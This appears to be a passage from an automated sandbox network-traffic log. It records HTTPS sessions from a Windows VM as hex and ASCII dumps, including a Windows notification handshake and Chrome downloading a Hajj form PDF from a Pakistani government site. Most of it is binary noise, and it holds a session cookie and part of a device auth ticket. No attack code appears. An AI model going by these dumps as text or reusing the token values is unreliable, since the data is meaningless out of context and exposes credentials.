m2Df>a!*#2@CXc<WgS$i=i92ZWt/LnbM6!0IJ4NDqTtQwvy(QL.
2024-09-30 16:58:14 UTC	888	IN	Data Raw: 16 29 24 11 25 09 40 1a 7e da 67 de 36 a9 23 6a c6 58 8c 80 9b 65 82 89 97 32 cc 43 20 b1 86 17 bd 25 a3 cc 5f a4 b2 54 90 48 93 7b 27 0f 2e 10 da c7 05 f9 9d 92 76 3d de 36 e4 36 99 0a 73 f3 5f ec e9 da 0b a4 2a f4 fe c2 ab a0 9f 27 b8 12 b6 f9 8d b1 b9 b2 d1 ad f8 02 65 5a f7 10 89 6a 69 c2 19 0b 69 69 f2 d9 27 3f a2 ee 80 5a 4a 4f fe 8b 21 e4 0b 59 2c 97 2c df 8f 2d 96 a6 c8 ad 62 7b 1c 55 44 7a d9 bc 9a 43 13 88 14 56 6e 34 77 75 0e b4 df f1 81 9b 86 52 43 de 1b 19 bd 59 28 e4 3b 1f ab de 4f 86 08 ac 69 8a 8e d1 f3 41 24 3a 5a 8b f9 e5 31 34 51 21 52 38 cf 50 e3 53 39 c6 8b 06 d6 58 d6 b1 42 26 47 56 5e d1 ab f0 43 2e fa f4 f2 92 74 98 02 4c 3a 7d 0a 34 58 20 56 75 66 b9 9a 97 95 e7 cf af 4e 72 14 64 de bc 24 dd cf 1f c3 45 5e c5 11 43 bf 0e 20 2c bb Data Ascii: )$%@~g6#jXe2C %_TH{'.v=66s_*'eZjiii'?ZJO!Y,,-b{UDzCVn4wuRCY(;OiA$:Z14Q!R8PS9XB&GV^C.tL:}4X VufNrd$E^C ,
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: 93 e8 c8 b4 5c f0 a5 b0 35 64 b9 b7 3d 93 11 4b 66 f7 a2 a3 47 68 d0 a2 47 78 59 73 3a 8e be 2d a0 32 db fc ba 1c 2b 50 71 81 4c 59 e7 bc d1 5d b7 44 6e b3 96 20 b6 5a d7 c0 16 d7 41 5f b9 55 51 69 25 c3 b0 a2 04 12 48 4f 42 5a 28 7b 60 2f e2 84 b9 e1 aa 3f e6 5b 69 78 3f 34 20 2c d5 e1 fa b6 b5 79 79 bf 83 7c 41 bd f8 fb 79 a9 cd 65 ce a0 9f e1 5a f4 b0 cc 19 54 29 ca f0 34 57 bc d9 a7 54 a1 cf 46 85 0d 37 53 48 1b 34 35 69 07 48 81 fc 78 2c 2d 67 d7 7e d5 41 ae 5f 4c cb 51 16 7b ec cf c7 02 7a b1 12 d9 4a 63 ef fb 17 a7 e1 67 9a b1 e6 5f 14 97 26 59 1a 35 76 d4 46 d5 7a 74 b3 35 39 34 1c b0 46 31 6a f2 19 95 c0 3a a2 e1 92 2f 90 dc b3 a5 2e 93 8d 6d 69 c5 27 99 ef 4f cb 6f bc 7c 05 99 e5 ab 5d 92 a7 ee 81 09 97 5f f8 79 c1 cd 9b 14 01 24 4b f7 44 26 ec Data Ascii: \5d=KfGhGxYs:-2+PqLY]Dn ZA_UQi%HOBZ({`/?[ix?4 ,yy\|AyeZT)4WTF7SH45iHx,-g~A_LQ{zJcg_&Y5vFzt594F1j:/.mi'Oo\|]_y$KD&
2024-09-30 16:58:14 UTC	3192	IN	Data Raw: 34 86 f3 c0 72 cb 93 d0 4d 07 8d 5f 93 9a 0e 48 96 73 bf cd 8d 94 fe 79 60 b1 f6 f2 58 de e1 03 ee 5c f0 ea aa 92 66 69 ad 06 a6 95 bc ca 13 96 dc 3b 64 a6 0d 67 80 cd cf 48 59 8f 7b 77 a8 50 97 ed eb 8d 8f 85 a2 c7 12 3c 8a 0f c4 74 23 cf 13 84 5b 9e 48 8f ab 8c a8 f9 ab 54 48 8b 16 1c aa cb 00 b8 12 74 5d af e0 05 b5 72 d4 b3 f1 35 91 21 4d 6c 44 9d fb f8 70 53 3a 4d 40 ee 22 91 1e e4 63 2c e4 5e b8 f2 14 fd 9f 6c bf 39 27 f3 84 65 1e 51 f4 5f 2c 43 dd 8a d0 4f d4 99 30 76 1f c8 5b a5 34 b0 27 75 7c 62 72 0e 19 80 35 56 7c ac 15 49 21 49 48 16 d9 6d 61 a5 3c 9f 9c 29 ab a1 5d cb 39 69 ad fa 81 9e 8a 5e 9e 7a dd 0a 03 af 6b 3c 85 8a 14 98 b6 4a 50 83 6b 1a bc b9 d2 0b 8a e5 9c 4c 2c a5 94 4b 79 0c ff c5 dc 54 8c 20 07 c2 85 ec 72 b3 1b 74 9f 3f 6f b6 95 Data Ascii: 4rM_Hsy`X\fi;dgHY{wP<t#[HTHt]r5!MlDpS:M@"c,^l9'eQ_,CO0v[4'u\|br5V\|I!IHma<)]9i^zk<JPkL,KyT rt?o
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: d4 3d 10 81 11 82 2c d2 02 0d 68 74 44 1a e8 45 fb f4 8d e7 db e3 d0 4f 64 dc f4 fa e3 02 db 02 83 7f 3b fb 37 13 61 ee 89 b1 b5 b3 7f 66 56 d7 31 0e 44 48 10 20 2b 48 0a fb c4 98 bf 2a f1 96 4e 2c 31 8a ad 81 84 be 58 14 60 77 82 63 6f 7e 97 71 80 73 9d 03 51 f7 40 84 2c 8a 97 cb 8f 4b 10 19 df 1b 24 d2 63 7d 22 11 69 3e af 03 37 98 59 37 f9 40 4a 7d 19 c8 c9 79 fd c6 bc ee cb 65 93 f5 27 f2 98 d5 33 db 0d 6d fc f6 ba 6b b6 d9 3f 92 20 b3 3f b8 ca 1d df 5e d5 f2 fc ac 7b f5 10 16 29 a1 21 1b 09 26 16 79 7f 89 a4 46 4e 13 a2 81 09 69 b3 00 63 86 c0 f9 12 d9 af 0a ba 2b af b0 df 5b 13 b8 6e 97 1e 08 79 39 61 26 a6 7d 7c e3 fa 76 34 b9 e9 58 17 a4 ed 94 ea df 8e 96 36 9c 61 b6 e8 8e fc dd 9a 39 bd c8 f7 e1 c5 d0 f0 f1 73 89 91 be e4 e9 93 00 5b e4 db 90 b6 Data Ascii: =,htDEOd;7afV1DH +H*N,1X`wco~qsQ@,K$c}"i>7Y7@J}ye'3mk? ?^{)!&yFNic+[ny9a&}\|v4X6a9s[
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: a4 50 ad ec 1a 46 3f 21 d3 d8 27 83 f7 52 52 95 bd a5 1c fa b9 9a 8b 26 5b c9 18 b9 8c 28 fd 47 c7 5f 0d d9 0f e5 36 64 f8 18 e5 8f 6b 1a 0c 7c 33 ed 87 69 ae 40 a2 12 72 94 61 a2 d3 7c 33 80 14 6f 36 8a 70 ce e9 ae 34 f6 de c5 4b 5d 72 af 96 b4 d7 31 f6 68 b7 6e f9 15 c2 9e dc 94 b4 6a dd 5a fc d6 e5 7e 40 22 ad a5 27 c2 f4 b9 d7 81 d9 ab 54 0c 29 2e 5a b5 d4 7d 60 62 50 83 97 3c 17 a7 81 79 a7 8b d4 92 34 87 2d 3a 61 ad 8a 33 63 0b e9 ca 4d 42 8b 09 cb 75 cd 6a 1e 65 ed 47 e5 ed 74 f7 81 c0 ed 93 7d 56 4b a4 40 c3 8d c7 0a 41 9e 55 63 8f a2 a8 64 aa ec 07 6b a8 2b c5 0b dd cb 88 a8 f4 99 e9 5b 34 1e 3b ee b1 59 69 36 9e 8d 83 76 4d c9 91 c0 34 f8 25 69 d7 40 06 86 20 16 22 75 80 fd 2a 38 33 47 79 22 e7 d0 41 c2 18 f5 2b 78 60 e2 78 fb 0a a1 5d e0 d3 55 Data Ascii: PF?!'RR&[(G_6dk\|3i@ra\|3o6p4K]r1hnjZ~@"'T).Z}`bP<y4-:a3cMBujeGt}VK@AUcdk+[4;Yi6vM4%i@ "u*83Gy"A+x`x]U
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: 6d f0 26 1a 3f 91 77 55 7f 16 16 9f 81 ff 3d 93 bb 17 b2 08 7d 0b fe 45 f6 74 ca c0 89 48 e7 d2 ed 71 9e c5 4f 82 a5 c6 61 8d 72 f1 df c5 e7 7d ea 4e 29 3f c0 c7 2e f9 40 de 55 fd 89 e5 b3 50 42 c4 f2 15 8f ba 56 7c 4d f0 7e 84 cc be fa da 7a 60 f4 ee 77 87 da 79 3e 92 a1 0e 05 cd bd 4a 9c 87 57 5d 5a e3 ae 9a 3c 55 f7 1c ba aa f4 9a fb 73 65 80 23 7e 78 20 f5 72 28 50 48 ad 4c 90 76 39 20 0c 0b 5c a4 08 7e 86 1d 46 1b 6f db 57 f7 b0 4f 67 04 9e 0b 91 d3 6f ff 07 a2 b0 96 47 ee 03 9e 36 8b 33 11 ca f0 6d 6e b8 d3 3e 37 71 35 6a c7 32 9b 53 39 9d b6 ab c1 24 bb d9 14 c7 26 11 72 57 fe 54 d5 4d 80 c4 68 71 a8 ea 44 9e c5 bf 2f 70 f1 e0 fa 44 98 7d ff 46 86 59 02 20 aa 35 1c 95 51 70 08 a4 ba fb 32 77 e2 41 e4 91 27 4d a2 13 66 59 b0 9a 2b 75 5b b6 9d e9 c6 Data Ascii: m&?wU=}EtHqOar}N)?.@UPBV\|M~z`wy>JW]Z<Use#~x r(PHLv9 \~FoWOgoG63mn>7q5j2S9$&rWTMhqD/pD}FY 5Qp2wA'MfY+u[

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49732	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 5a 62 36 62 39 2f 30 7a 55 79 55 2f 4f 5a 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 61 64 66 39 35 35 33 34 37 31 30 30 34 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bZb6b9/0zUyU/OZm.1Context: 9dadf9553471004a
2024-09-30 16:58:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-30 16:58:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 5a 62 36 62 39 2f 30 7a 55 79 55 2f 4f 5a 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 61 64 66 39 35 35 33 34 37 31 30 30 34 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 66 43 6e 7a 53 7a 79 76 51 63 39 2b 49 50 79 57 64 4a 62 61 32 41 52 75 2b 78 4b 55 37 73 39 53 69 79 34 4c 50 5a 78 71 64 79 73 71 2b 6a 73 55 44 32 63 50 4f 43 4e 69 68 79 51 49 69 5a 52 6a 37 66 59 7a 4d 6b 4c 38 61 34 54 51 4d 38 2f 32 4e 49 41 58 58 48 73 74 2f 38 59 4d 4b 66 6b 31 66 61 34 34 47 4a 76 4d 66 4a 46 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bZb6b9/0zUyU/OZm.2Context: 9dadf9553471004a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATfCnzSzyvQc9+IPyWdJba2ARu+xKU7s9Siy4LPZxqdysq+jsUD2cPOCNihyQIiZRj7fYzMkL8a4TQM8/2NIAXXHst/8YMKfk1fa44GJvMfJFN
2024-09-30 16:58:15 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 62 5a 62 36 62 39 2f 30 7a 55 79 55 2f 4f 5a 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 61 64 66 39 35 35 33 34 37 31 30 30 34 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: bZb6b9/0zUyU/OZm.3Context: 9dadf9553471004a
2024-09-30 16:58:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-30 16:58:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 63 6d 62 42 54 76 36 44 30 75 4d 53 30 54 53 2b 52 4b 38 42 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: scmbBTv6D0uMS0TS+RK8Bw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49726	203.101.184.86	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:15 UTC	604	OUT	GET /favicon.ico HTTP/1.1 Host: mora.gov.pk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6
2024-09-30 16:58:15 UTC	605	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Last-Modified: Tue, 05 Dec 2023 11:55:06 GMT Accept-Ranges: bytes ETag: "db7d5de37127da1:0" Server: Microsoft-IIS/10.0 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1 X-Content-Type-Options: nosniff Referrer-Policy: no-referrer X-Permitted-Cross-Domain-Policies: none Strict-Transport-Security: max-age=31536000; includeSubDomains X-UA-Compatible: IE=edge,chrome=1 Date: Mon, 30 Sep 2024 16:58:13 GMT Connection: close Content-Length: 32038 Content-Security-Policy: self Feature-Policy: self
2024-09-30 16:58:15 UTC	3443	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 00 00 20 00 68 04 00 00 46 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 ae 04 00 00 30 30 00 00 00 00 20 00 a8 25 00 00 56 15 00 00 40 40 00 00 00 00 20 00 28 42 00 00 fe 3a 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 d2 d1 83 cf cd cc 85 cf cc cb 85 cf cc cb 85 cf cc ca 85 ce cb ca 85 ce cb c9 85 bf bd bc b9 ce cc cb dd cd ca c9 dd cc c8 c6 dd cb c6 c4 dd cc c5 c3 db cb c5 c1 db cb c4 c1 db b6 b0 ae c1 f1 ee ec ff f4 e7 d6 ff f1 e1 ca ff ee e1 d0 ff ea e6 e4 ff e9 e5 e3 ff e9 e4 e2 ff e5 e2 e0 ff fd fb fa ff fc f9 f7 ff fb f6 f4 ff fa f4 f1 ff fa f2 ef ff f9 f1 ed ff f9 f1 ed ff df d7 d4 df f1 ee ee ff db b3 75 ff d0 9d 4c ff d0 ab 6e ff fc Data Ascii: hF 00 %V@@ (B:( @uLn
2024-09-30 16:58:15 UTC	41	IN	Data Raw: ba 96 ff fe fe fe ff fe fe fe ff fe fe fe ff f5 f3 f1 ff ec e8 e6 ff ec e8 e6 ff ec e8 e6 ff f5 f2 f1 ff f5 f2 f1 ff ec e7 Data Ascii:
2024-09-30 16:58:15 UTC	4048	IN	Data Raw: e4 ff ec e7 e4 ff ec e7 e3 ff ec e7 e2 ff ec e6 e2 ff ec e6 e2 ff ec e5 e2 ff ec e5 e1 ff eb e5 e1 ff f4 ee eb ff fc f8 f5 ff fc f7 f4 ff fb f6 f4 ff b9 b9 b9 87 00 00 00 05 e7 e7 e7 ff ff ff ff ff ed d5 b5 ff da a8 65 ff de b2 77 ff de b4 79 ff de b2 77 ff d8 c4 a8 ff ff ff ff ff ff ff ff ff ff ff fe ff f6 f4 f2 ff ed e9 e6 ff ec e8 e6 ff ec e8 e6 ff f5 f2 f1 ff f5 f2 f1 ff ec e8 e5 ff ec e7 e4 ff ec e7 e4 ff ec e7 e3 ff ec e7 e2 ff ec e6 e2 ff ec e6 e2 ff ec e5 e2 ff ec e5 e1 ff f4 ef eb ff fc f8 f5 ff fc f8 f5 ff fc f7 f4 ff bb bc bb 87 00 00 00 05 e7 e7 e7 ff ff ff ff ff ed d4 b4 ff d9 a6 61 ff dd af 72 ff d9 a6 61 ff d8 a5 5f ff d4 ba 98 ff ff ff ff ff ff ff ff ff ff ff fe ff f5 f3 f3 ff ec e9 e6 ff ec e9 e6 ff ec e8 e6 ff f5 f2 f1 ff f5 f2 f1 ff ec Data Ascii: ewywara_
2024-09-30 16:58:15 UTC	4048	IN	Data Raw: fa ff fd fa f9 ff e8 e5 e4 ff ef eb ea ff ee eb e9 ff ee eb e9 ff ee ea e8 ff ee e9 e7 ff ee e9 e7 ff ed e8 e6 ff ed e8 e6 ff ed e8 e5 ff e9 e4 e1 ff ec e7 e5 ff fb f5 f2 ff fb f5 f2 ff fa f4 f2 ff fb f5 f2 ff fb f5 f2 ff fa f5 f2 ff 89 87 86 9f db da da ff fc fb f9 ff fd fb f9 ff f2 e4 d0 ff d2 a0 51 ff d1 9e 4e ff d2 a2 54 ff d7 ab 66 ff d1 9e 4d ff d0 9d 4c ff d1 9e 4f ff d0 c3 af ff fd f8 f8 ff fc f8 f8 ff fd f8 f8 ff fd f9 f8 ff fc f9 f8 ff f0 e9 e6 ff ec e4 e0 ff eb e4 e0 ff eb e4 e0 ff dc d6 d2 ff d7 d4 d2 ff fd fd fc ff fe fc fc ff fe fc fb ff fe fc fb ff fd fb fa ff fd fa f9 ff f7 f5 f4 ff f5 f3 f1 ff f5 f2 f1 ff f5 f2 f0 ff f5 f1 ef ff f5 f1 ef ff f5 f1 ee ff f5 f0 ed ff f4 ef ed ff f4 ef ed ff f4 ef ed ff f7 f2 f0 ff fb f5 f3 ff fb f5 f3 ff fb Data Ascii: QNTfMLO
2024-09-30 16:58:15 UTC	2336	IN	Data Raw: e5 fb ec e9 e6 fd ec e8 e4 ff ec e7 e3 ff ec e6 e2 ff eb e5 e1 ff eb e4 e1 ff eb e4 e1 ff ef ea e6 fd fc f9 f7 f9 fc f8 f6 f9 fc f8 f6 fb fc f8 f6 fb fc f8 f5 fd c6 c6 c5 c3 00 00 00 0d 00 00 00 03 db db db ff ff ff ff ff ff ff ff ff f6 ea da ff da a8 68 ff da a7 64 ff db ab 6b ff df b4 7a ff da a7 64 ff d9 a6 63 ff da a9 66 ff d2 c6 b5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 ef ed ff ec e9 e6 ff ed e9 e6 ff ec e9 e6 ff ec e9 e6 ff ec e9 e6 ff fa f9 f7 ff fa f8 f7 ff ec e9 e6 ff ec ea e7 ff ed ea e7 ff ed ea e6 ff ec ea e7 ff ed ea e7 ff ed ea e6 ff ec ea e7 ff ec e8 e6 ff ec e7 e4 fd ec e7 e3 ff ec e6 e1 ff eb e5 e1 ff eb e4 e1 ff ef eb e6 ff fc f9 f6 ff fc f8 f5 ff fc f8 f5 ff fc f7 f5 ff fc f7 f4 ff c8 c8 c7 c3 00 00 00 0b 00 Data Ascii: hdkzdcf
2024-09-30 16:58:15 UTC	1448	IN	Data Raw: e0 ff e2 e2 e2 bf e0 e0 e0 21 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 db db db ff e7 e7 e7 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff d5 d5 d5 ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe ff fc fc fc ff fd fd fd ff fa fa fa ff f7 f7 f7 ff f3 f3 f3 ff ce ce ce ff c6 c6 c6 ff e2 e2 e2 ff e5 e5 e5 cf e3 e3 e3 21 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff Data Ascii: !!
2024-09-30 16:58:15 UTC	1448	IN	Data Raw: 3d 71 3d 3d 3d 71 3d 3d 3d 71 3d 3d 3d 71 3d 3d 3d 71 3d 3d 3d 71 3d 3d 3d 71 3f 3f 3f 73 10 10 10 39 ff ff ff 01 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 00 00 00 0f 3c 3c 3c 65 e4 e2 e1 ff e4 e2 e1 ff e4 e2 e1 ff e3 e1 e1 ff e3 e1 e0 ff e3 e1 e0 ff e3 e1 df ff e3 e0 df ff e2 df dd ff e2 df dd ff e2 de dc ff e2 dd db ff e1 dd da ff e1 dc da ff e1 dc d9 ff e1 db d8 ff e1 da d8 ff e1 da d8 ff e1 d9 d7 ff e1 d9 d6 ff e1 d9 d6 ff e0 d8 d5 ff e0 d8 d5 ff e0 d8 d5 ff e0 d8 d4 ff e0 Data Ascii: =q===q===q===q===q===q===q???s9<<<e
2024-09-30 16:58:15 UTC	4048	IN	Data Raw: fa ff fd fb fa ff fd fb f9 ff fd fa f9 ff fd fa f8 ff fc f9 f7 ff fc f8 f6 ff fc f8 f6 ff fc f7 f5 ff fc f6 f4 ff fb f6 f3 ff fb f5 f3 ff fb f5 f2 ff fb f4 f1 ff fb f4 f1 ff fa f3 f0 ff fa f3 f0 ff fa f2 ef ff fa f2 ef ff fa f2 ee ff fa f2 ee ff fa f1 ee ff f9 f1 ee ff f9 f1 ed ff f9 f1 ed ff f9 f1 ed ff f9 f1 ee ff fa f1 ee ff fa f2 ee ff fa f2 ee ff 3d 3d 3d 7f d0 d0 d0 ff fc f9 f7 ff fc f9 f7 ff fc f9 f7 ff fc f9 f7 ff d1 a0 50 ff d0 9d 4b ff d0 9d 4b ff d0 9d 49 ff d1 a0 4f ff d0 9d 4a ff cf 9c 48 ff cf 9b 47 ff d0 9e 4c ff cf 9d 4a ff d1 d1 d1 ff fd f8 f5 ff fd f8 f5 ff fd f8 f5 ff fd f8 f5 ff fc f8 f5 ff fc f8 f5 ff fc f8 f4 ff fc f8 f4 ff fc f7 f4 ff fb f6 f4 ff fb f6 f4 ff fb f6 f3 ff fb f6 f3 ff bc b8 b6 ff fe fc fc ff fe fc fb ff fe fc fb ff fe Data Ascii: ===PKKIOJHGLJ
2024-09-30 16:58:15 UTC	4048	IN	Data Raw: fa ff fd fb f9 ff ec e7 e2 ff ec e7 e2 ff ec e7 e2 ff ec e7 e2 ff ec e6 e2 ff ec e6 e2 ff b2 ad ab ff ce cd cd ff ce cd cd ff ce cd cc ff cd cd cc ff cd cc cc ff cd cc cc ff cd cc cc ff cd cc cb ff cd cc cb ff cd cb cb ff cd cb ca ff cd cb ca ff cd cb ca ff cd ca ca ff cd ca ca ff cc ca ca ff cc ca ca ff cc ca ca ff cc ca c9 ff cc ca c9 ff cc ca c9 ff cc ca c9 ff cc ca c9 ff cc ca c9 ff cc ca c8 ff cc ca c8 ff cc ca c8 ff cc ca c8 ff cc ca c8 ff cc ca c8 ff cc ca c8 ff cc ca c9 ff cc ca c9 ff 3f 3f 3f 7f d0 d0 d0 ff fe fd fd ff fe fd fd ff fe fd fd ff fe fd fd ff d6 a5 5b ff d4 9f 51 ff d2 a0 52 ff d1 9c 4d ff de b6 7a ff d5 a4 59 ff d2 9e 4e ff d1 9d 4e ff d3 a1 53 ff d3 a1 51 ff d0 d0 d0 ff fd fd fb ff fd fd fb ff fd fd fb ff fd fd fb ff fd fc fa ff fd Data Ascii: ???[QRMzYNNSQ
2024-09-30 16:58:15 UTC	4048	IN	Data Raw: 86 ff da a8 65 ff d7 a2 5a ff d6 a2 5a ff d8 a5 60 ff d7 a4 5e ff d0 d0 d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ff fe fe ff ff ec e9 e7 ff ed ea e7 ff ec e9 e6 ff ed e9 e6 ff ec e9 e6 ff ed e8 e6 ff ec e9 e6 ff ec e8 e6 ff fe fd fd ff fe fd fd ff ec e8 e6 ff ec e8 e6 ff ec e8 e6 ff ec e8 e6 ff ec e8 e5 ff ec e8 e4 ff ec e8 e4 ff ec e8 e5 ff ec e7 e4 ff ec e7 e4 ff ec e7 e4 ff ec e7 e3 ff ec e6 e3 ff ec e7 e2 ff ec e6 e2 ff ec e6 e2 ff ec e5 e2 ff ec e5 e2 ff ec e5 e1 ff ec e5 e0 ff fd f9 f8 ff fd f9 f7 ff fd f9 f7 ff fd f9 f6 ff fc f9 f7 ff fd f9 f5 ff fc f8 f6 ff c7 c7 c7 ff 00 00 00 0f 00 00 00 09 ff ff ff 01 d0 d0 d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff db ab 6a ff da a6 62 ff da a7 63 ff d8 a4 5e ff e2 Data Ascii: eZZ`^jbc^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49736	203.101.184.86	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:17 UTC	420	OUT	GET /SiteImage/Misc/files/HajjForm2024.pdf HTTP/1.1 Host: mora.gov.pk Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6
2024-09-30 16:58:17 UTC	607	IN	HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Thu, 06 Jun 2024 12:21:26 GMT Accept-Ranges: bytes ETag: "2e557edcb8da1:0" Server: Microsoft-IIS/10.0 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1 X-Content-Type-Options: nosniff Referrer-Policy: no-referrer X-Permitted-Cross-Domain-Policies: none Strict-Transport-Security: max-age=31536000; includeSubDomains X-UA-Compatible: IE=edge,chrome=1 Date: Mon, 30 Sep 2024 16:58:16 GMT Connection: close Content-Length: 891955 Content-Security-Policy: self Feature-Policy: self
